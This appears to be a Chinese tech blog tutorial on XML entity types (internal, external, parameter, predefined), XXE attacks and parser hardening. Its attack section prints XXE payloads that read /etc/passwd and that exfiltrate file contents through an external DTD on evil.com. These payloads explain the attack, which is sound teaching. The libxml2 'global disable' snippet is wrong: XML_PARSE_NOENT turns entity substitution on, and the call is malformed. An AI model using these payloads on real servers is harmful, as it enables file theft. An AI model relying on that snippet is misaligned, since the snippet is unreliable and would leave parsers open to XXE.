5月28日 03:47

XML 实体详解:4 种类型与 XXE 攻击防护

XML 文档里有些内容会反复出现——公司名、版权声明、版本号,每次手写既麻烦又容易改漏。XML 实体就是解决这个问题的:定义一次,到处引用。但实体的能力不止于此,外部实体还能引入其他文件的内容,而这个特性恰恰成了 XXE 攻击的入口。

实体是什么

实体(Entity)本质是一个"文本替身"——你在 DTD 里声明它代表什么,文档里用 &实体名; 引用它,解析器会自动替换成实际内容。

xml
<!DOCTYPE config [ <!ENTITY app "订单系统"> <!ENTITY ver "2.3.1"> ]> <config> <name>&app;</name> <version>&ver;</version> </config>

解析后 &app; 变成"订单系统",&ver; 变成"2.3.1"。改一处定义,所有引用自动更新。

四种实体类型

内部实体

值直接写在 DTD 里的实体,适合复用短文本:

xml
<!DOCTYPE letter [ <!ENTITY sender "张三"> <!ENTITY closing "此致敬礼"> ]> <letter> <body>&sender; 申请退款</body> <footer>&closing;</footer> </letter>

内部实体没有安全风险,放心用。

外部实体

引用外部文件的内容,SYSTEM 关键字指向文件路径:

xml
<!DOCTYPE book [ <!ENTITY ch1 SYSTEM "chapter1.xml"> <!ENTITY ch2 SYSTEM "chapter2.xml"> ]> <book> &ch1; &ch2; </book>

外部实体方便模块化管理,但也带来了 XXE 注入风险——后面详说。

参数实体

只在 DTD 内部使用的实体,用 % 声明和引用:

xml
<!DOCTYPE catalog [ <!ENTITY % basic " <!ELEMENT title (#PCDATA)> <!ELEMENT price (#PCDATA)> "> %basic; ]>

参数实体的核心用途是拆分和复用 DTD 片段。当 DTD 声明很长时,把公共部分抽成参数实体,多个 DTD 共享同一份定义。

预定义实体

XML 自带 5 个,转义特殊字符,不需要声明:

实体字符用在哪
&lt;<标签符号不能直接写
&gt;>同上
&amp;&实体引用符号本身
&apos;'属性值用单引号时
&quot;"属性值用双引号时
xml
<condition>5 &lt; 10</condition> <msg>She said &quot;done&quot;</msg>

XXE 攻击:外部实体的安全隐患

外部实体能读文件,这个能力如果被攻击者利用,后果很严重。

攻击原理

攻击者构造包含恶意外部实体的 XML:

xml
<!DOCTYPE data [ <!ENTITY steal SYSTEM "file:///etc/passwd"> ]> <data>&steal;</data>

服务器解析这段 XML 时,&steal; 会被替换成 /etc/passwd 的文件内容。如果这个内容被返回给客户端,攻击者就拿到了服务器的敏感文件。

更危险的是参数实体版本的盲注 XXE——不直接回显内容,而是把数据外带发送到攻击者的服务器:

xml
<!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://evil.com/collect.dtd"> %dtd; ]>

collect.dtd 里可以定义把 %file; 内容拼进 URL 请求参数,实现数据外泄。

防护方案

Java(最严格,直接禁用 DTD):

java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 如果必须用 DTD,至少禁用外部实体 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python(lxml):

python
from lxml import etree parser = etree.XMLParser(resolve_entities=False) tree = etree.parse("input.xml", parser)

libxml2 全局禁用:

c
xmlCtxtUseOptions(parser, XML_PARSE_NOENT, NULL);

关键原则:默认禁用外部实体,只在确实需要的场景有条件地开启

实体的替代方案

现代 XML 开发中,实体尤其是外部实体的使用在减少,有两个更好的替代:

XInclude

XInclude 是 W3C 标准的包含机制,不依赖 DTD,不触发 XXE:

xml
<book xmlns:xi="http://www.w3.org/2001/XInclude"> <title>系统设计手册</title> <xi:include href="chapter1.xml"/> <xi:include href="chapter2.xml"/> </book>

XML Schema 的 fixed 属性

对于内部实体"定义常量"的用途,Schema 的 fixed 属性可以替代:

xml
<xs:element name="version" type="xs:string" fixed="2.3.1"/>

使用建议

  • 内部实体:放心用,复用短文本的好工具,但别过度——如果实体名比内容还长就没必要
  • 外部实体:生产环境尽量别用,用 XInclude 替代
  • 参数实体:维护大型 DTD 时很有用,但大部分项目已经转向 Schema,参数实体的使用场景在萎缩
  • 预定义实体:不需要特别记,编辑器会自动转义;手写 XML 时注意 <& 必须转义
  • 安全第一:任何接收外部 XML 输入的接口,都要禁用外部实体解析,这是最低限度的安全措施
标签:XML